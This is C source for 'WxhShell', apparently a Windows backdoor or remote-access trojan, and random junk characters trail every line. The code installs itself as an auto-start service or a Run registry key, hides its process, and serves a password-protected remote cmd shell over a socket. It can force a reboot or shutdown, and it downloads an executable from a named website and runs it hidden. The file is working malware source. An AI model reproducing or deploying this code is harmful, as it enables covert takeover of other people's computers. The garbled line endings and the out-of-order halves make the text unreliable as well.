    closesocket(wsh); SwQb"  
    ExitThread(0); 0%vXPlfnY  
    } X _XqT  
    break; /QTGZ b  
    } tvI~?\Ylj  
  // 关机 3dXyKi  
  case 'd': { Hq=RtW2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4rv3D@E  
    if(Boot(SHUTDOWN)) FX\ -Y$K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@OgT<E]_  
    else { c" yf>0  
    closesocket(wsh); .x}ImI  
    ExitThread(0); V]IS(U(  
    } Ry,jPw5<  
    break; UeE&rA]  
    } ,rQznE1e  
  // 获取shell 9hcZbM]  
  case 's': { uRJLSt9m  
    CmdShell(wsh); f ^z7K  
    closesocket(wsh); (ZDRjBth[  
    ExitThread(0); ! XA07O[@  
    break; e%"L79Of6)  
  } ceAK;v o  
  // 退出 UA}k"uM  
  case 'x': { d!!5'/tmS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  u"tv6Qp  
    CloseIt(wsh); A2]N :=  
    break; |Zz3X  
    } .I[uXd  
  // 离开 7x`uGmp1  
  case 'q': { 'H:lR1(,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H=EvT'g  
    closesocket(wsh); pkhZW8O  
    WSACleanup(); Aqq%HgY:t  
    exit(1); K" Y,K  
    break; /8lGP! z  
        } 8xlj:5;(w  
  } X#IVjc:&L  
  } +\SbrB P  
"h\{PoG  
  // 提示信息 JQ!D8Ut  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [K,&s8N5  
} 6dV92:  
  } Wk`G+VR+  
Q']:k}y  
  return; \3Ys8umKq  
} Bm1yBKjO  
3Cq17A 9  
// shell模块句柄 (',G Ako  
int CmdShell(SOCKET sock) 9_oIAn:<  
{ o1 QK@@}  
STARTUPINFO si; -_v[oqf$  
ZeroMemory(&si,sizeof(si)); Ust>%~<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KR#Bj?fz-H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [p|-G*=00  
PROCESS_INFORMATION ProcessInfo; buq3t+0  
char cmdline[]="cmd"; $U3s:VQ'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  ]Ocf %(  
  return 0; gtJUQu p2  
} &H`yDrg6U  
yD(0:g#  
// 自身启动模式 =DUsQN!  
int StartFromService(void) &$|k<{j[<f  
{ Cj,fP[p#7  
typedef struct USfOc  
{ Z'hW;^e%_z  
  DWORD ExitStatus; BB>3Kj:|  
  DWORD PebBaseAddress; Xb5n;=)  
  DWORD AffinityMask; h{VCx#!]  
  DWORD BasePriority; P%(pbG-X.  
  ULONG UniqueProcessId; ZoF\1C ^  
  ULONG InheritedFromUniqueProcessId; ^3F[^#"  
}   PROCESS_BASIC_INFORMATION; 8tY],  
rer=o S  
PROCNTQSIP NtQueryInformationProcess; iE0A-;:5  
y;3vr1?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S2w|\"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A{Jv`K  
5,|^4 ZA  
  HANDLE             hProcess; -aXV}ZY"  
  PROCESS_BASIC_INFORMATION pbi; ;q59Cr75  
M8Q-x-7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dt<PZ.  
  if(NULL == hInst ) return 0; [ wi "  
v_En9~e^n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o *S"`_   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1B}6 zJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |r$Vb$z  
5JBenTt  
  if (!NtQueryInformationProcess) return 0; : DCj2"  
N yFa2Ihd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pg;agtI  
  if(!hProcess) return 0; S2@[F\|r  
120<(#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D9 OS,U/l  
(G*--+Gn  
  CloseHandle(hProcess); gQCkoQi:j  
h 1:uTrtA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <U (gjX  
if(hProcess==NULL) return 0; +MIDq{B  
3W5|Y@0  
HMODULE hMod; 0bVtku K;G  
char procName[255]; FDkRfhK  
unsigned long cbNeeded; VX2 KE@  
1.4]T, `  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b,cA mZ  
'RC(ss1G  
  CloseHandle(hProcess); ck){N?y  
?sfA/9"  
if(strstr(procName,"services")) return 1; // 以服务启动 Nc ,"wA  
D: NBb!   
  return 0; // 注册表启动 MLG%+@\  
} "[q/2vC  
cAogz/<S  
// 主模块 z AacX@  
int StartWxhshell(LPSTR lpCmdLine) DyD#4J)E  
{ MMN2X xS  
  SOCKET wsl; bW7tJ  
BOOL val=TRUE; v[q2OWcL  
  int port=0; -SGR)  
  struct sockaddr_in door; HpC|dtro  
Ks(+['*S  
  if(wscfg.ws_autoins) Install(); *RD9 gIze  
dP=1*  
port=atoi(lpCmdLine); }5z6b>EI9a  
- /]ro8V$  
if(port<=0) port=wscfg.ws_port; .9#4qoM'  
xa[<k >r3  
  WSADATA data; (_^g:>)Cs  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hc4<`W{  
BuCU_/H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MMqkNe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZT5t~5W  
  door.sin_family = AF_INET; V7G?i\>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eu@-v"=w  
  door.sin_port = htons(port); O5CIK}A  
L=O,OS+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;]D@KxO$dJ  
closesocket(wsl); #'^!@+)  
return 1; tV<}!~0,*  
} KwndY,QD  
m"t\@f  
  if(listen(wsl,2) == INVALID_SOCKET) { ^/47 *vcN5  
closesocket(wsl); Ek~Qp9B  
return 1; >_!pg<{,  
} >pW8K[  
  Wxhshell(wsl); Am'5|  
  WSACleanup(); 5)+(McJC  
AyB-+oTf(  
return 0; /pan{.< k  
8p,q9Ey  
} ,B(UkPGT  
/J]Yj,  
// 以NT服务方式启动 T;XEU%:LK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *]nha1!S  
{ 7L|w~l7R~  
DWORD   status = 0; pk%I98! Jy  
  DWORD   specificError = 0xfffffff; TG8QT\0G  
UTGR{>=>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OkGg4X|9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Vr .&`l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G(~d1%(  
  serviceStatus.dwWin32ExitCode     = 0; M=HW2xn  
  serviceStatus.dwServiceSpecificExitCode = 0; yv =LT~  
  serviceStatus.dwCheckPoint       = 0; DmEmv/N=  
  serviceStatus.dwWaitHint       = 0; &W:Wv,3  
s-Q-1lKV,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tSV}BM,  
  if (hServiceStatusHandle==0) return; 7h?PVobe  
TviC1 {2  
status = GetLastError(); @C62%fU{5  
  if (status!=NO_ERROR) :WIbjI=  
{ !MS z%QcO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =unMgX]$  
    serviceStatus.dwCheckPoint       = 0;  TOdH  
    serviceStatus.dwWaitHint       = 0; .7++wo!,  
    serviceStatus.dwWin32ExitCode     = status; O`~G'l&@T  
    serviceStatus.dwServiceSpecificExitCode = specificError; )HNbWGu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5V!L~#  
    return; %H75u 6  
  } 'C)^hj.  
'}dlVf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pN6!IxN$  
  serviceStatus.dwCheckPoint       = 0; zhY V M Q  
  serviceStatus.dwWaitHint       = 0; 3Q*K+(`{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [wG?&l$.KB  
} tQ_;UQlX  
!f-mC,d  
// 处理NT服务事件,比如:启动、停止 5\8Ig f>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m8,P-m  
{ Y$uXBTR`y/  
switch(fdwControl) oe_l:Y%  
{ qUA&XUJ  
case SERVICE_CONTROL_STOP: GzWmXm  
  serviceStatus.dwWin32ExitCode = 0; q{@j$fMt0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Js3Y9AL C  
  serviceStatus.dwCheckPoint   = 0; E#JDbV1AC  
  serviceStatus.dwWaitHint     = 0; 1fM= >Z  
  { E@^`B9 ;Q7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o\vIYQ   
  } U~-Z`_@^-  
  return; q4@n pbx  
case SERVICE_CONTROL_PAUSE: kU$P?RD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YNA %/  
  break; {\ [u2{  
case SERVICE_CONTROL_CONTINUE: b2u_1P\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X[_w#Hwp-  
  break; *q_ .y\D  
case SERVICE_CONTROL_INTERROGATE: FKY|xG9  
  break; u4bPj2N8I  
}; (2(I|O#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); htk5\^(X  
} #x$.  
o)F^0t  
// 标准应用程序主函数 *X+T>SKL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $J"}7+  
{ jo{[*]Oa  
~j}di^<{  
// 获取操作系统版本  Q<B=m6~  
OsIsNt=GetOsVer(); P$S>=*`n U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6f,#O8]#5  
[_*%  
  // 从命令行安装 YqX/7b+  
  if(strpbrk(lpCmdLine,"iI")) Install(); VFz (U)._  
*i|O!h1St  
  // 下载执行文件 NlXHOUw)u  
if(wscfg.ws_downexe) { x!fvSoHp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \gaGTc2&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ug*:o d  
} Os' 7h  
Rd|};-  
if(!OsIsNt) { GV#"2{t j  
// 如果时win9x,隐藏进程并且设置为注册表启动 O&!>C7  
HideProc(); S~0 mY} m  
StartWxhshell(lpCmdLine); Ta`=c0  
} YbB8D-  
else J5h;~l!y  
  if(StartFromService()) -twV?~f  
  // 以服务方式启动 .9{Sr[P  
  StartServiceCtrlDispatcher(DispatchTable); [U@#whEO  
else unKTa*U^q  
  // 普通方式启动 G/>upnA{w  
  StartWxhshell(lpCmdLine); 5VdF^.:u  
:\9E%/aAD  
return 0; hd1(q33  
} iI ji[>qz  
w^EAk(77  
0FD#9r  
4CVtXi_Y  
=========================================== 1.U5gW/3L  
pt<!b0G  
&Q 7Q1`S  
+pp|Qgr 3  
-:b0fKn  
fa9c!xDt  
" 3Xyu`zS&   
~c~N _b  
#include <stdio.h> *>,8+S33r{  
#include <string.h> pe$" nUy|  
#include <windows.h> \)'s6>58|  
#include <winsock2.h> ts/ rV#s~  
#include <winsvc.h> F B-?{78~  
#include <urlmon.h> V`qHNM/t  
iV;X``S  
#pragma comment (lib, "Ws2_32.lib") u^T)4~(  
#pragma comment (lib, "urlmon.lib") CIAHsbn.A  
Lb;:<  
#define MAX_USER   100 // 最大客户端连接数 SVWtKc<  
#define BUF_SOCK   200 // sock buffer 4%>iIPXi.(  
#define KEY_BUFF   255 // 输入 buffer KR4X&d6  
Lpd q^X  
#define REBOOT     0   // 重启 $\?BAkx  
#define SHUTDOWN   1   // 关机 q66!xhp;?  
NF+^  
#define DEF_PORT   5000 // 监听端口 \g& P5  
_1_CYrUc  
#define REG_LEN     16   // 注册表键长度 I:M]#aFD  
#define SVC_LEN     80   // NT服务名长度 3p`*'j2R  
dnt: U!TW@  
// 从dll定义API .vHSKd{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #vCtH2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H:byCFN-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |^p7:)cy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F;$z[z  
?IRp3H  
// wxhshell配置信息 {"hX_t  
struct WSCFG { d Bn/_  
  int ws_port;         // 监听端口 {`~uBz+dJq  
  char ws_passstr[REG_LEN]; // 口令 $j=c;+W  
  int ws_autoins;       // 安装标记, 1=yes 0=no GBnf]A,^ @  
  char ws_regname[REG_LEN]; // 注册表键名 8U}BSM_<2  
  char ws_svcname[REG_LEN]; // 服务名 ,S QmQ6h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _"Yi>.{]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +Y;/10p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a{*r^m'N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FVw;`{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g2Pa-}{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NvCq5B$C  
%6Wv-:LY  
}; O6JH)Ka"S  
j"g[qF/*  
// default Wxhshell configuration P X/{  
struct WSCFG wscfg={DEF_PORT, 5WJof`M  
    "xuhuanlingzhe", +b@KS"3h  
    1, PNVYW?l  
    "Wxhshell", anLSD/'4W  
    "Wxhshell", b5WtL+Z  
            "WxhShell Service", 4rkj$  
    "Wrsky Windows CmdShell Service", 1=Npq=d  
    "Please Input Your Password: ", +pDZ,c,  
  1, pxC:VJ;  
  "http://www.wrsky.com/wxhshell.exe", 3i1e1Lj1  
  "Wxhshell.exe" l0AVyA4RFV  
    }; Qb "\j  
eru2.(1  
// 消息定义模块 cTlitf9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @~WSWlQW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {[B^~Y>Lr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g=iPv3MG  
char *msg_ws_ext="\n\rExit."; I !\;NVhv  
char *msg_ws_end="\n\rQuit."; |ci1P[y  
char *msg_ws_boot="\n\rReboot..."; um.s :vj$  
char *msg_ws_poff="\n\rShutdown..."; 4rX jso|  
char *msg_ws_down="\n\rSave to "; /;P* ?  
Y\#+-E  
char *msg_ws_err="\n\rErr!"; w]2tb  
char *msg_ws_ok="\n\rOK!"; fd Vye|%  
gZkjh{rQ  
char ExeFile[MAX_PATH]; w.v yEU^  
int nUser = 0; x-W6W  
HANDLE handles[MAX_USER]; Z?@1X`@  
int OsIsNt; k)l*L1Y4:  
c j-_  
SERVICE_STATUS       serviceStatus; $:&?!>H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2@!Ou$W  
6k14xPj  
// 函数声明 p\xi5z  
int Install(void); h$\+r<  
int Uninstall(void); IC5[:UZ5]  
int DownloadFile(char *sURL, SOCKET wsh); u~ %xU~v  
int Boot(int flag); x.gRTR`7(  
void HideProc(void); M? 7CBqZ  
int GetOsVer(void); kl4u]MyL#  
int Wxhshell(SOCKET wsl); f~bZTf  
void TalkWithClient(void *cs); <hG] f%  
int CmdShell(SOCKET sock); AH?T}t2  
int StartFromService(void); NR98I7  
int StartWxhshell(LPSTR lpCmdLine); 42 6l:>D(  
gZ{q85C.>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2VSs#z!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f9`F~6$  
LojEJ  
// 数据结构和表定义 \gtI4zl*J  
SERVICE_TABLE_ENTRY DispatchTable[] = E]Wnl\Be  
{ >|Xy'ZR  
{wscfg.ws_svcname, NTServiceMain}, kd0~@rPL  
{NULL, NULL} b \pjjb[  
}; <|qh5Scp  
;;6e t/8  
// 自我安装 , Oqd4NS  
int Install(void) /K+GM8rtE  
{ =2sj$  
  char svExeFile[MAX_PATH]; JI&ik_k3  
  HKEY key; ]U9f4ODt  
  strcpy(svExeFile,ExeFile); E05RqnqBn0  
iEe<+Eyns  
// 如果是win9x系统,修改注册表设为自启动 UXU!sd  
if(!OsIsNt) { (t^&L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Os1o!w:m5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xRTr<j0s  
  RegCloseKey(key); ;|nC;D]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [X9s\H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); drv"I[}{A  
  RegCloseKey(key); MXQ S6F#  
  return 0; [xaglZ9HNo  
    } 4KO2oIR  
  } kTCWyc  
} hU 3z4|~+  
else { K@0gBgN  
G"_ 8`l  
// 如果是NT以上系统,安装为系统服务 P:`tL)W_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e+_~a8 -|  
if (schSCManager!=0) ^F}HWpF_  
{ |Wo_5|E  
  SC_HANDLE schService = CreateService ~c;D@.e\  
  ( NTj:+z0  
  schSCManager, N.j?:  
  wscfg.ws_svcname,  ~\0uy3%  
  wscfg.ws_svcdisp, T*m;G(  
  SERVICE_ALL_ACCESS, #zRT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,F4 _ps?(  
  SERVICE_AUTO_START, qa|"kRCO  
  SERVICE_ERROR_NORMAL, PA=.)8  
  svExeFile, 9lT6fW`v1Q  
  NULL, R78=im7  
  NULL, ,{KjVv<  
  NULL, *jAw  
  NULL, =CCxY7)M+.  
  NULL 4^? J BpBZ  
  ); w_*UFLMSqR  
  if (schService!=0) Dg:2*m_!j{  
  { 4nIs+  
  CloseServiceHandle(schService); >_ )~"Ra  
  CloseServiceHandle(schSCManager); {e>E4(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IV#kF}9$  
  strcat(svExeFile,wscfg.ws_svcname); +N~?_5lv\s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &HS6}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3n\eCdV-b<  
  RegCloseKey(key); e3|@H'~k  
  return 0; W0++q=F  
    } AX {~A:B  
  } %`o3YR  
  CloseServiceHandle(schSCManager); k!%[W,*  
} g91X*$`]  
} @A-*XJNS":  
CB7 6  
return 1; Oyfc!  
} 9PpPAF  
LTSoo.dE  
// 自我卸载 'Z<V(;W  
int Uninstall(void) !!WSGZUR  
{ ^p'iX4M  
  HKEY key; <Z8I#IPl  
;OE=;\  
if(!OsIsNt) { Q%x |  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2N,<~L`FX'  
  RegDeleteValue(key,wscfg.ws_regname); Cfz020u`g  
  RegCloseKey(key); `0]kRA8=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?<Tt1fpG  
  RegDeleteValue(key,wscfg.ws_regname); >:2Br(S  
  RegCloseKey(key); z x7fRd$  
  return 0; Wq4>!|  
  } (|(#W+l~  
} Q t!X<.  
} evbqBb21b  
else { W?*]' 0  
$#bgt   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #U46Au  
if (schSCManager!=0) @M:Uf7  
{ uk8vecj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c]qq *k#  
  if (schService!=0) G!y~Y]e  
  { kQr\ktN\  
  if(DeleteService(schService)!=0) { #i#4h<R  
  CloseServiceHandle(schService); @0XqUcV  
  CloseServiceHandle(schSCManager); k"J [mT$b  
  return 0; qre.^6x  
  } =bVaB<!  
  CloseServiceHandle(schService); DOr()X  
  } aNqhxvwf  
  CloseServiceHandle(schSCManager); YW|KkHi*  
} "IK QFt'  
} {"cS:u  
kt.y"^  
return 1; Cg~GlZk}  
} Jgf73IX[  
#$<7  
// 从指定url下载文件 [Rqv49n*V  
int DownloadFile(char *sURL, SOCKET wsh) 3c#CEuu  
{ kJ;fA|(I  
  HRESULT hr; {AJcYZV  
char seps[]= "/"; }'?N+MN  
char *token; ;au-NY  
char *file; $;9zD11  
char myURL[MAX_PATH]; SiD [54OM  
char myFILE[MAX_PATH]; R\L0   
mP1EWh|  
strcpy(myURL,sURL); }RGp)OFY&  
  token=strtok(myURL,seps); jKOjw#N  
  while(token!=NULL) y~&R(x~w  
  { uP'x{Pr)  
    file=token; Ha U6`IP  
  token=strtok(NULL,seps); ur'a{BI2R  
  } 5`$.GV  
H#/}FoBiS  
GetCurrentDirectory(MAX_PATH,myFILE); LK "47  
strcat(myFILE, "\\"); $"+ahS<?tC  
strcat(myFILE, file); '?q \mi  
  send(wsh,myFILE,strlen(myFILE),0); SA5 g~{"  
send(wsh,"...",3,0); _L?`C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U!GG8;4  
  if(hr==S_OK) O23dtH  
return 0; :{iS0qJ  
else t%<@k)hd~G  
return 1; <i~MBy. (  
N2!HkUy2  
} XO*|P\#^  
qusX]Tst z  
// 系统电源模块 7=YjY)6r^  
int Boot(int flag) W9!EjXg  
{ 2#sJ`pdQ  
  HANDLE hToken; G~oGBq6Gz  
  TOKEN_PRIVILEGES tkp; MroJ!.9  
z|VQp,ra  
  if(OsIsNt) { ryd*Ha">I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {x3"/sF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V!eq)L  
    tkp.PrivilegeCount = 1; 4g}eqW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;C1]gJZ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *x^W`i   
if(flag==REBOOT) { w7.I0)MH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vOb=>  
  return 0; TFX*kk &R  
} >680}\S  
else { S7tc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VEolyPcsg&  
  return 0; JEF2fro:Z  
} K._tCB:  
  } /V66P@[>  
  else { /65ddt  
if(flag==REBOOT) { !n<vN@V*3d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ={Bcbj{  
  return 0; 4I"p>FIkY  
} +w~ <2Kt8  
else { eq0&8/=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6 ufF34tA  
  return 0; aP}kl[W  
} f'hrS}e  
} }i32  
5*.JXx E;U  
return 1; JLS|G?#0  
} gr\UI!]F  
.OLm{  
// win9x进程隐藏模块 kaSy 9Y{  
void HideProc(void) &E0d{ 2  
{ PZVh)6f"c  
w1Z9@*C!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KrcL*j&^  
  if ( hKernel != NULL ) +{Qk9Z  
  { BDW%cs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I]HrtI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \,YF['Qq  
    FreeLibrary(hKernel); Ga5O&`h  
  } D0'L  
s?=v@|vz)  
return; M2UF3xD   
} jf_xm=n  
d5/x2!mH8  
// 获取操作系统版本 dQD YN_  
int GetOsVer(void) _K(w &Kr  
{ -O.q$D=as  
  OSVERSIONINFO winfo; |7$F r[2d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )<_e{_ h  
  GetVersionEx(&winfo); '&?OhSeN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \'z&7;px  
  return 1; *v+xKy#M  
  else lTl-<E;  
  return 0; tI2V)i!  
} H Aq  
E$B7E@(U  
// 客户端句柄模块 q~*9A-MH  
int Wxhshell(SOCKET wsl) T%{qwZc+mJ  
{ #bxUI{*J  
  SOCKET wsh; ElJM. a  
  struct sockaddr_in client; ~p9nAACU  
  DWORD myID; g_<^kg"  
vM_UF{a$=  
  while(nUser<MAX_USER) Y?cdm}:Ou  
{ eko$c,&jY  
  int nSize=sizeof(client); V)[ta`9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  V6opV&  
  if(wsh==INVALID_SOCKET) return 1; nVkPYeeT  
}m!L2iK4qk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3v~804kWB  
if(handles[nUser]==0) &e2|]C4  
  closesocket(wsh); +n]z'pijb  
else nE_g^  
  nUser++; Ce: 2Tw  
  } U^ bF}4m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A 9 I5  
@'go?E)f  
  return 0; 99GzhX_  
} zcF`Z {&+  
6[r-8_  
// 关闭 socket (o+(YV^  
void CloseIt(SOCKET wsh) Q-scL>IkCb  
{ |?zFm mh  
closesocket(wsh); tOQ2947zk  
nUser--; 2~yYwX  
ExitThread(0); R#D>m8&}3  
} `:=af[n   
)Sz2D[@n  
// 客户端请求句柄 rCOH*m&  
void TalkWithClient(void *cs) 0)@7$Xhf  
{ >A'Q9Tia;  
azEN_oUV  
  SOCKET wsh=(SOCKET)cs; {51<EvyE*  
  char pwd[SVC_LEN]; O[9>^y\,  
  char cmd[KEY_BUFF]; |=R@nn   
char chr[1]; cV=0)'&<`_  
int i,j; O+8]y4%5  
u"WqI[IV  
  while (nUser < MAX_USER) { 2n/cq K   
3aD\J_  
if(wscfg.ws_passstr) { 0l.\KF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XTzz/.T;Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^0 zWiX  
  //ZeroMemory(pwd,KEY_BUFF); ,C4gA(')K  
      i=0; 58TH|Rj+I  
  while(i<SVC_LEN) { = JE4C9$,  
dfo_R  
  // 设置超时 w(>mP9Cb  
  fd_set FdRead; 33O O%rWi  
  struct timeval TimeOut; ]UtfI  
  FD_ZERO(&FdRead); /UwB6s(  
  FD_SET(wsh,&FdRead); <a=,{O  
  TimeOut.tv_sec=8; S6Er# )k  
  TimeOut.tv_usec=0; tc.`P]R   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W3AtO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BWtGeaW/sr  
qFqK. u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*&`cUoA  
  pwd=chr[0];  1rnbUE  
  if(chr[0]==0xd || chr[0]==0xa) { w$E8R[J~P  
  pwd=0; 9E@}@ZV(  
  break; @51!vQwqR  
  } #Cj$;q{!  
  i++; P4h^_*d  
    } )GbVgYkk  
8eAc 5by  
  // 如果是非法用户,关闭 socket #YABb wH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $w:7$:k  
} zO@7V>2  
nnw5 !q_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pn5A6 #  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mg7nv\6  
#kmZS/"  
while(1) { N;\G=q] 9  
8y9`xRy  
  ZeroMemory(cmd,KEY_BUFF); CLQE@kF;  
;%#.d$cU  
      // 自动支持客户端 telnet标准   7v{X?86&  
  j=0; am+'j5`Ys  
  while(j<KEY_BUFF) { N:4oVi@Je  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HB/q v IzB  
  cmd[j]=chr[0]; TbK;_pg  
  if(chr[0]==0xa || chr[0]==0xd) { ZxvqLu  
  cmd[j]=0; 4hymQ3 g  
  break; Ym]Dlz,o  
  } &Fw8V=Pw  
  j++; JDa=+\_  
    } |._9;T-Yde  
cH== OM7&-  
  // 下载文件 KG2ij~v  
  if(strstr(cmd,"http://")) { GnCO{"n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LTof$4s  
  if(DownloadFile(cmd,wsh)) ].A>ORS/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); != @U~X|cu  
  else qGAb h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tf:4}6P1  
